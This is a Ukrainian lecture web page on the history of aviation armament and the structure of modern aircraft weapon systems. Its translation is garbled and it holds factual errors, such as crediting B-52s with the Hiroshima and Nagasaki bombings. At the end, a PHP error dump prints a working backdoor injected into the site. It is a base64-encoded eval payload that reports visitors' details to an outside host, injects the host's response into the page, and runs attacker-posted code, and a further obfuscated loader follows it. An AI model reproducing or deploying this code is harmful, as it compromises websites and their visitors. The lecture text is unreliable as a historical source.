Розвиток авіаційного озброєння

Український легіон » Дисципліни » Авіаційні засоби ураження » Розвиток авіаційного озброєння

Поняття АВІАЦІЯ містить у собі кілька аспектів:

1)    застосування апаратів важче повітря для польоту в навколоземному повітряному просторі з використанням аеродинамічного принципу польоту;

2)    сукупність організацій, що застосовують для польотів авіаційні літальні апарати (ЛА),  аеродроми і техніку;

3) засіб збройної боротьби держави.

Розрізняють авіацію цивільну і військову. У залежності від призначення і підпорядкованості військова авіація. ряду країн поділяється на види: армійська (військова), фронтова (тактична), далека (стратегічна), протиповітряної оборони, військово-морського флоту (берегова, корабельна) і військово-транспортна. Відповідно до бойових задач і характеру  дій військову авіацію розрізняють по родах: бомбардувальна (ракетоносна), тактична (бомбардувальна, винищувальна, штурмова, розвідувальна), протичовнева, мінно-торпедна, транспортна, допоміжна авіація.

Виникнення і перше практичне застосування повітроплавання почалося у Франції в кінці 18 століття. У 1783 р. брати Жозеф і Этьен Монгольфье винайшли кулю з нагрітим повітрям. Ряд удалих досвідів англійського винахідника Д. Кейли (кінець 18 в.) по створенню ЛА важче повітря привів до проекту створення безмоторних ЛА без парового двигуна. Поява й удосконалювання двигунів внутрішнього згоряння уможливило створення легкого й у той же час досить могутнього авіаційного двигуна. В Америці брати У. і О. Райт установили на свій літак двигун внутрішнього згоряння, що працював на гасі, і 17 грудня 1903 р. здійснили успішний політ. В наступні роки продовжували створюватися різні типи ЛА в Росії і ряді країн Європи (у Франції, Данії й ін.). Ведучу роль у створенні наукових основ аеродинаміки зіграли росіяни вчені Н. Е.Жуковський і С. А.Чаплигін, що створили наукову школу аеродинаміки. Жуковський уперше ввів в аеромеханіку експеримент як метод дослідження, створив метод визначення піднімальної сили крила літака, заклав основи динаміки польоту. Вперше в Росії в 1910 р. Б. Н. Юр'єв спроектував вертоліт і винайшов автомат перекосу, що застосовується у всіх конструкціях сучасних вертольотів. Видатним подією в історії літакобудування була будівля в 1913 р. у Петербурзі важкого чотиримоторного літака "Російський витязь", що став родоначальником важких бомбардувальників, а пізніше - ще більш зробленого літака "Ілля Муромець".

Першим видом авіаційного озброєння був кулемет, встановлений у дослідному порядку на літаку в 1911 р. (майже одночасно в Росії і у Франції). Авіаційні бомби були вперше застосовані італійською авіацією під час італо-турецької війни 1911—1912 р.м. російські льотчики, що брали участь у балканській війні, бомбардували в 1912 р. турецьку міцність Адріанополь, скидаючи вручну 10 кг бомби. У 1913 р. у Росії на літаку був установлений прилад штабс - капітана В. И. Толмачева для прицілювання при бомбометанні. І в цьому ж році німецький інженер Франц Шнейдер запатентував конструкцію синхронного кулеметного привода (синхронізатора), що дозволяв стріляти з кулемета через площину, що змітається повітряним гвинтом.

Однак до початку Першої світової війни через те, що літаку приділялася в основному роль розвідника, авіація прийшла практично неозброєною — льотчики мали лише особисту зброю. Тому що відразу ж з початком війни стала очевидної необхідність знищення літаків супротивника в повітрі і нанесення авіаційних ударів по наземним (морським) об'єктах, то виникла потреба й у літаках-бомбардувальниках і винищувачах, оснащених спеціальною зброєю.

Перший винищувач російської армії — двомісний літак З-16 (1915 р.) був збройний нерухомим синхронним кулеметом, що стріляв уперед, і рухливим кулеметом для ведення вогню в задній півсфері. У 1916 р. французький льотчик Г. Гинемер використовував у повітряних боях 37-мм пушку, що стріляв через пустотілу втулку гвинта. У Росії 37-мм гармата встановлювалася на гідролітаку М-9; на бомбардувальнику «Ілля Муромець» пробували застосовувати 76-мм пушку.

На початку 1917 р. у Росії з'явився коліматорний приціл, що підвищило ефективність стрільби винищувачів. До кінця війни озброєння винищувача складалося з 1—2 кулеметів, літаки - розвідники і легкі бомбардувальники мали 1—2 нерухомих кулемети для стрільби вперед і 1—2 рухомих (турельних) кулемети і могли брати до 200—300 кг бомб. На важких бомбардувальниках установлювалося до 6—8 кулеметів, бомбове навантаження складало 500—800 кг і більш. Пушки на літаках зустрічалися надзвичайно рідко.

Перший радянський серійний винищувач И-2, що з'явився в 1926 р., був збройний 2 синхронними кулеметами ПВ-1, створеними А. В. Надашкевичем на базі кулемета «Максим». У 1928 р. військова авіація одержала турельний кулемет ТАК конструкції В. А. Дегтярьова. У 1932 р. на озброєння був прийнятий 7,62-мм авіаційний кулемет ШКАС зі скорострільністю до 1800 постр./мін, що не мав у той час рівних собі у світі (конструкція Б. Г. Шпитального і И. А. Комарицкого). З 1934 р. дані кулемети встановлювалися на винищувачах И-15 і И-16 (спочатку 2, пізніше - 4). У 1936 р. Б. Г. Шпитальный і С. В. Владимиров створили 20-мм авіаційну гармату ШВАК. У 1937—1939 р.м. на озброєння винищувачів були прийняті некеровані реактивні снаряди калібру 82 і 132 мм (PC-82, PC-132).

У період Другої світової війни пушки (кулемети) розміщалися, як правило, у чи фюзеляжі ж установлювалися на ряді бомбардувальників турелі з майже круговим обстрілом. Установка зброї в крилі практикувалася рідше, тому що це сильно збільшувало розсіювання за рахунок коливань крила при стрілянині. Однак, зі збільшенням швидкостей польоту від використання даних турелей довелося відмовитися і застосовувати озброєння для захисту передньої півсфери і рухливе для захисту задньої півсфери. У ході війни в зв'язку з ростом швидкостей винищувачів, посиленням бронювання літаків і захистом баків виникла потреба в крупнокаліберних кулеметах і пушках з великою скорострільністю. На озброєння нашої авіації у військові роки надійшли 23-мм пушки ВЯ конструкції А. А. Волкова і С. А. Ярцева, 12,7-мм кулемети УБТ і 20-мм пушка (Б-20) М. Е. Березина, пушки калібру 23 мм (НС-23) і 37 мм (НС-37) А. Э. Нудельмана і Л. С. Суранова. На літаках збільшилася кількість гармат. Так, на винищувачах установлювалися 3—4 пушки калібру 20—23 мм. На американських винищувачах Р-39 установлювали 37-мм пушки, а на радянських Як-9 — 37- і 45-мм. Підсилилося й озброєння бомбардувальників. Саме пушки стають основним засобом стрілково-гарматного озброєння винищувачів і штурмовиків, а в ряді випадків і бомбардувальників ( наприклад, Ту-2 мав двох 20-мм пушків, три 7,62-мм кулемети і міг нести до 3 тонн бомб. З появою радіолокаційних прицілів і систем наведення, що позволяли здійснювати бомбометання по візуально не видимим цілям (наприклад, чи вночі через хмари), стало можливим робити автоматичне скидання бомб як поодиноко, так і чи залпом серією з заданим числом бомб і установленою величиною інтервалів. Калібр бомб коливався в широких межах — від 0.5 кг до 9 т. На озброєння радянських ВПС надійшли протитанкові відомості бомби кумулятивної дії, розроблені Л. В. Ларионовым. Наприкінці війни почали випробуватися керовані ракети і бомби.

У післявоєнний період з'являються нові засоби ураження: керовані і некеровані реактивні бойові засоби, а також бомби і ракети з ядерними зарядами. Для сучасних винищувачів характерна наявність керованих ракет класу «повітря — повітря» різних типів (маса їх коливається від 50 до 450 кг і дальність від 5—7 до 100 км), некерованих ракет для ураження повітряних і наземних цілей і скорострільні пушки (до 9000 постр./мін). Винищувачі - бомбардувальники (штурмовики) і тактичні бомбардувальники можуть застосовувати бомби (загальне бомбове навантаження 3—5 т і більш), різні типи керованих ракет (маса до 1 т і більш, дальність стрільби до 300 км), а також пушки і некеровані ракети. Стратегічні бомбардувальники, збройні керованими ракетами класу «повітря — поверхня» (дальність до 1000 км і більш), можуть мати бомби, а також оборонне озброєння — до 4 скорострільних гармат. Для придушення радіолокаційних засобів стратегічні бомбардувальники можуть застосовувати керовані (самонавідні) ракети. Літаки і вертольоти, призначені для знищення підвідних човнів, збройні самонавідними протичовневими торпедами, глибинними бомбами, керованими ракетами «повітря — поверхня».

У Росії авіація ВМФ з'явилася напередодні Першої світової війни. Морський офіцер М.Ф.Можайский з'явився автором першої у світі конструкції дійсного літака, а видатний льотчик і конструктор Л.М.Мациевич ще в 1910 р. запропонував проект спеціального морських (говорячи сучасною мовою - палубного) аероплана і корабля-авіаносця з наскрізною польотною палубою. Роботи зі створення гідролітаків для ВМФ у Росії почалися одночасно з закордоном. У 1911 р. на Російсько-Балтійськом вагонному заводі в м. Ризі конструктором Я.М.Гаккелем був побудований літак-амфібія Гаккель-V; наприкінці 1912 р. за замовленням морського відомства Ігор Сикорский будує поплавковий гідролітак З-5а, а в 1913 р. на озброєння російського флоту надходить гідролітак З-10 цього ж конструктора. В роки Першої світової війни морськими льотчиками з великим успіхом застосовувалися літаючі човни Д.П.Григоровича М-5, М-9, М-11.

В даний час морська авіація представлена палубними винищувачами Су-33 (Су-27ДО), ударними літаками і розвідниками берегового базування Ту-22М и Су-24, штурмовиками Су-25, літаками ПЛО Бе-12, Мул-38 і Ту-142, протичовневими вертольотами Ка-25, Ка-27 і Мі-14, десантно-бойовими вертольотами Ка-29.

Створення бомбардувальників відноситься до початку Першої світової війни, коли Сикорским було побудовано кілька модифікацій літака «Ілля Муромець». У 1916 р. був побудований двомоторний літак В. А. Слесарева «Святогор» (по проекті 1913 р.). Військове відомство замовило кілька літаків цього типу, запропонувавши постачити їх озброєнням і використовувати як бомбардувальники і військові транспорти. «Ілля Муромець Київський», «Ілля Муромець Ш» і ін. зробили ряд удалих нальотів на німецькі позиції, обози і залізничні станції, ангари, склади й інші об'єкти в Східній Пруссії і Галичині. Бомбардування тилу супротивника (причому не тільки військових об'єктів, але і мирного населення) з дирижаблів і літаків почалася ще до появи спеціальних бомбардувальників. Ініціатором цієї варварської справи було німецьке командування. У вересні 1914 р. німецькі льотчики скинули на Париж перші бомби. Союзники у свою чергу бомбардували Штутгарт, Фрейбург, Мангейм, Кельн і інші німецькі міста. Збиток від повітряних бомбардувань, особливо таких центрів, як Лондон і Париж, був великий. Так, у Лондоні в результаті одного бомбардування було убито 439 чоловік і поранено 1 243. Розвиток бомбардувальників у 20—30-х м.м. у більшості країн йшло по напрямку поліпшення літних якостей літаків і удосконалювання їхнього озброєння, що було зв'язано з появою пікіруючих бомбардувальників. Під час Другої світової війни бойові якості значно зросли в далеких (стратегічних) бомбардувальників. Великобританія і США направили їхній масований удар проти Німеччині і Японії, що і завершилося знищенням Хіросіми і Нагасакі бомбардувальником далекої дії В-52, що несуть перші ядерні боєзаряди. У післявоєнний період розвиток Б. визначалося переходом їх на реактивні двигуни, надходженням на озброєння ядерних бомб, керованих ракет «повітря — поверхня» і оснащенням бомбардувальників сучасним бортовим устаткуванням. Першим фронтовим реактивним бомбардувальником, створеним у нашій країні, був Мул-28, по своїх якостях, що перевершив у свій час бомбардувальники інших країн. Призначення фронтових бомбардувальників полягає в спільних діях із сухопутними військами, а на приморському напрямку — із флотом. Стратегічні бомбардувальники, що знаходяться в складі далекої авіації, що є засобом головного командування, призначені для нанесення ударів по об'єктах, розташованим, як правило, у глибокому тилу супротивника. При необхідності стратегічні Б. можуть, як це було під час війни в Перській затоці, залучатися і для спільних дій із фронтовою авіацією. У 60—70-х м.м. на озброєння ВПС найбільш розвитих країн почали надходити бомби., що мали надзвукові швидкості.

Подальший розвиток авіаційного озброєння базується на нових досягненнях науки і техніки. Структура комплексу авіаційного озброєння і характеристики його складових частин визначаються бойовим призначенням ЛА. Подальший розвиток авіаційного озброєння  йде по шляху збільшення дальності і підвищення точності стрільби керованими ракетами класу «повітря — поверхня» і «повітря – повітря»; на ракетах установлюються лазерні і телевізійні голівки наведення. Складність пілотування на малих висотах і великих швидкостях викликала необхідність автоматизації пошуку і виявлення цілей, прицілювання при стрілянині і бомбометанні, причому вихід авіації в стратосферу зажадав розробки нових, високонадійних  і ефективних комплексів авіаційного озброєння.

Тому глибоке  вивчення і практичне освоєння нової техніки і зброї, способів їхнього бойового застосування - першорядна задача воїнів армії і флоту ЗС України. 

 

Сучасний стан авіаційних засобів ураження

 

  Призначення і структура комплексів авіаційного озброєння.

  Авіаційне озброєння (АО) призначено для ураження наземних морських і повітряних цілей (об'єктів) супротивника, а також для виконання допоміжних і спеціальних задач.

  До допоміжних і спеціальних задач, розв'язуваним з використанням АО, відносяться:

  • освітлення місцевості вночі;
  • створення на землі, на морі й у повітрі орієнтирів;
  • створення димових завіс.

АО сучасних літаків і вертольотів підрозділяється на три  види:

  • бомбардувальне;
  • ракетне;
  • артилерійське.

Кожний з цих видів озброєння включає у свій склад:

  •  засоби ураження (ЗУ);
  • прицільну систему (ПС);
  •  установки озброєння (УО);
  • систему керування озброєнням (СКО).

         Крім того, до АО відносяться наземні засоби технічної експлуатації авіаційного озброєння.

Сукупність різних видів АО, що відносяться до конкретного типу чи літаків вертольотів, називається комплексом авіаційного озброєння (КАО).

Отже, поняття КАО зв'язане з озброєнням конкретного типу чи літаків вертольотів і містить у собі бортову частину АО, що розміщається безпосередньо на бойовому літальному апараті (ЛА), і наземну частину, тобто наземні засоби технічної експлуатації авіаційного озброєння (НЗТЕ АО).

 

Типовий зміст складових частин КАО показано в таблиці 1

 

Елемент

В  и  д      АО

КАО

бомбардувальне

ракетне

артилерійське

Засоби ураження

Авіаційні бомби, запальні баки, КМГУ, міни, торпеди і комплектуючі елементи

Авіаційні керовані ракети, авіаційні керовані бомби, некеровані ракети

Авіаційні пушки, кулемети і гранатомети з боєприпасами

Прицільні системи

Прицільні системи бомбометання

Прицільні системи стрільби

Прицільні системи стрільби

 

Ракетно-бомбардувальні установки

 

Установки озброєння

Балкові касетні і багатозамкові бомботримачі

Пускові пристрої, блоки ракет

Убудовані і підвісні артилерійські установки

Системи керування озброєнням

Системи керування підготовкою СП до застосування і скиданням

Системи цілевказівки і керування пуском

Системи керування зброєю й установками

Наземні засоби технічної експлуатації АО

Механізми подачі підвіски АБ, апаратура контролю, інструмент

 Позиція ППР, комплексні системи контролю РО, механізми подачі і підвіски ракет

Засоби спорядження патронами стрічок і завантаження їх в артилерійські установки, апаратура контролю, засоби пристрілювання, інструмент

 

 Виконання ЛА бойової задачі будь-якого масштабу, як правило, включає три необхідних елементи:

  • збір інформації про обстановку і супротивника;
  • обробку інформації і вироблення відповідних команд керування;
  • виконання команд керування.

  Відповідно узагальнена структурна схема КАО бойового ЛА повинна включити у свій склад наступні системи (мал. 1):

  • інформаційну систему;
  • командну (керуючу) систему;
  • виконавчу систему (об'єкт керування).  

  

Рис. 1 Узагальнена структурна схема КАО

 

 Збір інформації про ціль, параметри її руху і навколишнє середовище забезпечують оптичні, оптико-електронні і радіолокаційні візирні пристрої прицільної системи.

 Бортова цифрова обчислювальна машина (БЦОМ) обробляє інформацію, що надходить, і видає відповідні сигнали в СУО для вироблення команд керування  зброєю і на пристрої індикації екіпажу.

  Команди із СУО подаються на установки озброєння, що забезпечують підготовку зброї до стрільби, пуску і  скиданню й у потрібний момент - стрілянину з гармат (кулеметів, гранатометів, пуск ракет, скидання чи бомб вантажів.)

 

Задачі, розв'язувані КАО

  Комплекси авіаційного озброєння сучасних літаків і вертольотів різного призначення, як правило, істотно розрізняються по номенклатурі засобів ураження, ємності установок озброєння, складності прицільних систем і розвиненості СУО.

  Це розходження обумовлене строгою відповідністю задач КАО призначенню літаків і вертольотів авіації Військово-повітряних сил.

  ФА- фронтова авіація (винищувальна, винищувально-бомбардувальна і бомбардувальна) є ударною силою ВПС у складі фронтів. Відповідно до цього, задачами КАО літаків ФА є:

  • знищення  ракетно-ядерних засобів і авіації супротивника, його резервів і важливих об'єктів в оперативній глибині;
  • прикриття своїх військ і об'єктів від ударів супротивника ;
  • забезпечення прольоту далекої і військово-транспортної авіації;
  • підтримка повітряних і морських десантів;
  • мінування з повітря і т.д.

    КАО винищувача призначений для:

  • знищення літаків, вертольотів і безпілотних засобів супротивника в повітрі  шляхом перехоплення їх на великих  і середніх відстанях, на усіх висотах бойового застосування;
  • ведення маневреного повітряного бою;
  • поразка малорухомих наземних цілей.

   КАО винищувача-бомбардувальника призначений для:

  • ураження головним чином малорозмірних, рухомих  і знову виявлених наземних і морських об'єктів супротивника, а також для знищення  літаків і вертольотів супротивника в повітрі.

 КАВ фронтового бомбардувальника призначений для:

  • ураження різних наземних цілей супротивника в оперативній глибині (працюючі РЛС, стартові ракетні установки, літаки на аеродромах, танки, артилерію і живу силу супротивника на марші й у районах зосередження, військово-промислові об'єкти, залізничні і портові спорудження, залізничні вузли і склади і т.д.);
  • знищення маломаневрених літаків і вертольотів супротивника в повітрі.

    Коротка характеристика складових частин КАО.

  КАО сучасного бойового ЛА містить у собі:

  • авіаційні засоби ураження;
  • авіаційні прицільні системи;
  • установки авіаційного озброєння;
  • системи керування авіаційним озброєнням;
  • комплекс наземного устаткування.

 і призначений для розвязання бойових задач, поставлених перед бойовим ЛА (літаком, вертольотом) по поразці об'єктів супротивника.

 

Авіаційні засоби ураження (АЗУ) призначені: для безпосередньої дії по різних об'єктах супротивника з метою їхнього знищення, виведення з ладу чи придушення, а також для розвязання допоміжних (спеціальних) задач.

  У залежності від призначення і розв'язуваних задач всі АЗУ підрозділяються на  АЗУ  основного  призначення  й  АЗУ  допоміжного (спеціального)  призначення.

АЗУ основного призначення призначені для безпосереднього впливу на об'єкти супротивника з метою їхньої ураження.

У залежності від вражаючого впливу АЗУ основного призначення підрозділяються на:

  • фугасні;
  • осколкові;
  • осколково – фугасні;
  • кумулятивні;
  • кумулятивно-осколкові;
  • запальні;
  • фугасно-запальних;
  • бронебійні;
  • бетонобійні;
  • об'ємно-детонуючи;
  • зі спеціальною бойовою частиною.

АЗУ допоміжного призначення призначені для розвязання спеціальних і допоміжних задач, як в інтересах ВПС, так і в інтересах інших пологів військ. У залежності від спецефекта вони підрозділяються на:

  • перешкоджаючи;
  • світячи;
  • орієнтирно-сигнальні;
  • димові;
  • фотографічні;
    агітаційні;
  • навчальні.

У залежності від способу відділення від ЛА АЗУ підрозділяються на три групи:

  • бомбардувальні засоби ураження (АЗУ, що відокремлюються від ЛА під дією сили чи ваги незначної примусової сили відштовхування);
  • ракетні засоби ураження (АЗУ, що відокремлюються від ЛА зі спеціальних пускових установок за рахунок реактивної сили тяги двигуна чи ракети шляхом катапультування);
  • артилерійські засоби ураження (АЗУ, що вистрілюються зі стовбурів знарядь за рахунок енергії стиснутих газів).

Бомбардувальні засоби ураження містять у собі: авіаційні бомби (АБ),  запальні баки (ЗБ), разові бомбові касети (РБК), разові бомбові зв'язування (РБЗ) і блоки контейнерні фронтові (БКФ).

 Бомбардувальні АЗУ основного призначення призначені для безпосередньої ураження цілей  дією удару, вибуху і вогню. Бомбардувальні АЗУ допоміжного (спеціального) призначення призначені для розвязання задач, зв'язаних з літаководінням, стріляниною, бомбометанням, розвідкою, а так само ряду спеціальних задач, розв'язуваних авіацією в інтересах Сухопутних військ і кораблів ВМФ.

 В даний час для бомбардувальних АЗУ установлені наступні калібри: 0,5; 1,0; 2,5;  10; 25; 50; 100;  250;   500; 1500;  3000;  5000; 9000 кг.

Ракетні засоби ураження містять у собі: некеровані авіаційні ракети (НАР) і авіаційні керовані ракети (КАР) класу "повітря - повітря" і "повітря-поверхня".

 Ракетні засоби ураження більш докладно будуть розглянуті  в темі 7.

 Артилерійські засоби ураження містять у собі: патрони до авіаційних гармат, кулеметам і гранатометам.

   Патрони зі снарядами, кулями і гранатами основного призначення призначені, головним чином, для ураження малорозмірних цілей і живої сили супротивника. Патрони зі снарядами, кулями і гранатами допоміжного (спеціального) призначення призначені для розвязання задач, зв'язаних зі створенням перешкод радіолокаційним і оптичним пристроям супротивника, з поразкою повітряних куль і аеростатів і забезпеченням учбово-бойової підготовки.

На озброєнні ВВС складаються патрони з кулями калібру 7,62 і 12,7 мм, патрони зі снарядами калібру 23, 30, 37 мм і патрони з гранатами калібру 30 мм.

Авіаційні прицільні системи  призначені:

  • для забезпечення пошуку, виявлення і впізнання цілей;
  • застосування зброї;
  • здійснення безпечного виходу чи літака вертольота з атаки цілі.

Атака цілі має своєю задачею безпосереднє застосування АЗУ. Основними вимогами до організації атаки цілі є: забезпечення високої точності влучення АЗУ у мету і забезпечення безпеки їхнього застосування.

Атака цілі супроводжується прицілюванням. Фізичний зміст прицілювання полягає в тому, щоб створити такі умови стрільби, чи бомбометання пуску ракет, що забезпечать улучення боєприпасів у чи мету в задану область біля цілі.

 Власне кажучи, задача прицілювання зводиться до забезпечення визначених початкових умов руху боєприпасів. Траєкторія руху некерованих боєприпасів визначається початковими умовами їхнього прицілювання (стрільби, кидання). Тому для забезпечення проходження траєкторії боєприпасів через мету прицілювання повинні виконуватися з високою точністю.

Траєкторія руху керованих боєприпасів може коректуватися. Тому прицілювання при застосуванні КАР і КАБ може виконуватися менш точно. Прицілювання виконується шляхом керування літаком (вертольотом) і чи зброєю тільки зброєю. Для цього використовується комплекс різних пристроїв, серед яких головне місце належить прицільній системі.

Прицільна система формує і передає на виконавчі пристрої керуючі команди. Керуючі команди формуються на основі розвязання задачі прицілювання. Ця задача є складної і включає ряд приватних задач:

  • швидкості і висоти польоту, кутів атаки, тангажа, крену і т.д.;
  • визначення координат і визначення параметрів руху власного літака (вертольота), тобто визначення параметрів руху цілі;
  • розрахунок траєкторії польоту боєприпасів.

Крім того, прицільна система робить обробку одержуваної інформації й індикацію (відображення) необхідної прицільної інформації. Для розвязання зазначених задач прицільна система має у своєму складі датчики інформації, обчислювальні пристрої (БЦОМ) і індикатори, на яких відображається інформація.    Прицільна система має зв'язок із системою керування літаком і системою керування озброєнням (СКВ).

Установки авіаційного озброєння забезпечують кріплення авіаційних засобів ураження, авіаційної артилерійської зброї на ЛА, їхнє утримання і створення необхідних умов транспортування, наведення зброї на мету, стрілянину, пуск і скидання АЗУ.

Установки озброєння підрозділяються на авіаційні артилерійські установки, установки ракетного і бомбардувального озброєння.

Під авіаційною артилерійською установкою прийнято розуміти сукупність різного роду пристроїв, розташованих на ЛА і службовців для ефективного бойового застосування і технічної експлуатації артилерійської зброї.

Ці пристрої забезпечують кріплення зброї на ЛА, необхідне наведення зброї, харчування його патронами, відвід гільз і ланок і інші операції, зв'язані з безперебійною дією зброї.

Установки ракетного і бомбардувального озброєння - це теж сукупність різних пристроїв і агрегатів, що входять до складу ЛА і забезпечують завантаження АЗУ на ЛА,  їхнє надійне закріплення й утримання в польоті, керування елементами автоматики АЗУ, необхідний контроль справності їхніх окремих елементів, надійне і безпечне відділення (скидання, пуск) АЗУ від ЛА в порядку і з інтервалами, визначеними бойовою задачею.

 Системи керування авіаційним озброєнням  призначені для підготовки автоматики АЗУ і установок озброєння до бойового застосування, забезпечення їхньої взаємодії один з одним і з прицільною системою, контролю готовності засобів ураження, наведення авіаційної артилерійської зброї і кулеметів, а також для керування стріляниною, пуском ракет і скиданням бомб.

 Системи керування авіаційним озброєнням підрозділяються на:

  • системи керування артилерійськими установками;
  • на системи керування автоматикою засобів ураження;
  • на системи керування відділенням засобів ураження.

 Система керування артилерійськими установками забезпечує дистанційне керування льотчиком (оператором) через прицільну систему кутовим переміщенням артилерійської зброї, керування вогнем і перезарядженням гармат.

 Система керування автоматикою засобів ураження забезпечує харчування АЗУ електричним струмом різної напруги, частоти і стабільності, цілевказівка координатором самонавідних АЗУ, уведення початкових умов пуску і скидання АЗУ, керування взведенням взрывателей.

 Система керування відділенням засобів ураження забезпечує бойове чи аварійне відділення АЗУ від ЛА.

 На сучасних ЛА усе, що зв'язує систему керування автоматикою засобів ураження і систему керування відділенням засобів ураження безпосередньо зі зброєю і забезпечує їхню взаємодію один з одним, об'єднано  в окрему систему, що одержала назву системи керування зброєю (СУО).

При цьому СУО виконує функції програмної трансляції команд і сигналів по керуванню автоматикою засобів ураження в процесі підготовки їхній до застосування, сигналізує про наявність АЗУ на літаку, формує і розподіляє виконавчі команди на стрілянину, пуск ракет і скидання бомб відповідно  до обраного варіанта застосування АЗУ.

Коротка характеристика наземних засобів технічної експлуатації АО (НСТЭ АВ).

НСТЭ АВ як частина КАО призначені:

  • для забезпечення підготовки КАО бойового ЛА до бойового застосування;
  • виконанню ремонтних і регламентних робіт;
  • для навчання літного складу бойовому застосуванню комплексів авіаційного озброєння.

ДО НСТЭ АВ відносяться:

  • засоби контролю і підготовки керованих ракет і авіаційних бомб;
  • засоби контролю і військового ремонту прицільних систем, установок авіаційного озброєння і систем керування озброєнням;
  • механізми подачі і підвіски АЗУ;
  • засоби спорядження  патронних стрічок; засоби пристрілювання зброї;
  • різний інструмент і т.д.

Крім того до НТЗЕ АО відносяться стрілецькі і бомбардувальні тренажери .

Останні статті

Отримання дозволу на зброю
03.04.2015

Отримання дозволу на зброю

Перелік документів на придбання нарізної та гладкоствольної зброї
Детальніше
Гарнізонні заходи за участю військ.
28.05.2014

Гарнізонні заходи за участю військ.

Детальніше
MODx Content Manager »

« MODx Parse Error »

MODx encountered the following error while attempting to parse the requested resource:
« PHP Parse Error »
 
PHP error debug
  Error: assert(): Assertion "eval(base64_decode("aWYgKCFpc3NldCgkaWJ2KSkgeyAgQGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIixmYWxzZSk7QGVycm9yX3JlcG9ydGluZygwKTsKaWYoIWVtcHR5KCRfQ09PS0lFWyJjbGllbnRfY2hlY2siXSkgJiYgZW1wdHkoJGlidikpIHsgJGlidiA9ICRfQ09PS0lFWyJjbGllbnRfY2hlY2siXTsgIGVjaG8gJGlidjt9IGVsc2VpZiAoZW1wdHkoJGlidikpIHsKaWYgKHN0cnN0cigkX1NFUlZFUlsiSFRUUF9IT1NUIl0sICIxMjcuMCIpKXskbmFtZSA9ICRfU0VSVkVSWyJTRVJWRVJfQUREUiJdO31lbHNleyRuYW1lID0gJF9TRVJWRVJbIkhUVFBfSE9TVCJdO30KJHVzZXJhID0gaXNzZXQoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdKT91cmxlbmNvZGUoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdKToiIjsKJHVybCA9ICJodHRwOi8vbGV0c2dvdG90b3AuY29tL2dldC5waHA/aXA9Ii51cmxlbmNvZGUoJF9TRVJWRVJbIlJFTU9URV9BRERSIl0pLiImZD0iLnVybGVuY29kZSgkbmFtZS4kX1NFUlZFUlsiUkVRVUVTVF9VUkkiXSkuIiZ1PSIuJHVzZXJhLiImaT0xJmg9Ii5tZDUoIjRmNGQzYjhlNzBmYzNkODJhN2VjN2VhNWU2ODk1Y2FhMTEiKTsKaWYoZnVuY3Rpb25fZXhpc3RzKCJjdXJsX2luaXQiKSkgewokY2ggPSBjdXJsX2luaXQoJHVybCk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIEZBTFNFKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsIDUpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgNSk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgVFJVRSk7CiRpYnYgPSBjdXJsX2V4ZWMoJGNoKTskaW5mbyA9IGN1cmxfZ2V0aW5mbygkY2gpO2lmICgkaW5mb1siaHR0cF9jb2RlIl0hPTIwMCl7JGlidj0iIjt9CmN1cmxfY2xvc2UoJGNoKTsKfSBlbHNlaWYoaW5pX2dldCgiYWxsb3dfdXJsX2ZvcGVuIikgPT0gMSkgewokaWJ2ID0gZmlsZV9nZXRfY29udGVudHMoJHVybCk7Cn0KaWYoIWVtcHR5KCRfUE9TVFsicCJdKSAmJiBtZDUobWQ1KCRfUE9TVFsicCJdKSkgPT0gIjNmMTFlNmE0MmJjMWQ4MDE2MDUwMzEyYzc4OWRkNzFmIikgeyBAZXZhbChzdHJpcHNsYXNoZXMoJF9QT1NUWyJjIl0pKTsgfQplY2hvICRpYnY7Cn0gfQ=="));" failed 
  Error type/ Nr.: Warning - 2 
  File: /sata2/home/users/ukrlegion/www/www.ukrlegion.com/index.php 
  Line: 139 
  Line 139 source: $light = $strings2($gbz.'("nJLtXPScp3AyqPtxnJW2XFxtrlNtDTyhnI9mMKDbVzEcp3OfLKysMKWlo3WmVvkzLJkmMFx7DTIlpz9lK3WypT9lqTyhMltjXGfXnJLbVJIgpUE5XPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKFxtWvLtMJ1jqUxbWTyvqvxcVUftWTyvqvN9VPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKGftVTIwnT8tWTyvqwg9VTIfp2IcMvNbMJ1jqUxbWTyvqvxcVUfXnJLtXUA0paA0pvtxK1ASHyMSHyfvFSEHHS9VG1AHVy0fVPVkZwphZPVcXKfxozSgMFN9VPEsH0IFIxIFJlWGEIWJEIWsDHERHvWqB31yoUAyrlEhLJ1yVQ0tWS9GEIWJEIWoVxuHISOsFR9GIPWqB30XWUImMKWuVQ0tnKAmMKDbWS9GEIWJEIWoVxuHISOsIIASHy9OE0IBIPWqXG91pzkyozAiMTHbWS9GEIWJEIWoVxuHISOsIIASHy9OE0IBIPWqXGbvVwfXWUIloPN9VPWbqUEjBv8ioTI0p2qiqT90o3NhL29gY2qyqP5jnUN/nKN9Vv51pzkyozAiMTHbWS9GEIWJEIWoVyWSGH9HEI9OEREFVy0cYvVzMQ0vYaIloTIhL29xMFtxozSgMF4xK1ASHyMSHyfvHxIEIHIGIS9IHxxvKFxhVvM1CFVhWUImMKWuYvVznG0kWzt9Vv5gMQHbVwEzATDmLwuyAmOzLmAxBQWuA2IwA2IuAJH2BQx1L2SuZGRvXGfXnJLbMaIhL3Eco25sMKucp3EmXPWwqKWfK2yhnKDvXFxtrjbxL2ttCFOwqKWfK2yhnKDbWUIloPx7PzA1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9VEHSREIVfVRMOGSASXGgwqKWfK3AyqT9jqPtxL2tfVRAIHxkCHSEsD09BGxIQISEWGHICIIDfVQHcBlOwqKWfK3AyqT9jqPtxL2tfVRAIHxkCHSEsIRyAEH9IIPjtAFx7PzA1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9FEIEIHx5HHxSBH0MSHvjtISWIEFx7PvEcLaLtCFOwqKWfK2I4MJZbWTAbXGfxnJ5zolN9VTA1pzksM2I0nJ5zoltxL2tcB2yzVPtxnJ5zo1fvnUE0pS9wo2EyVy0uCGVjZPy7WTyvqw0vV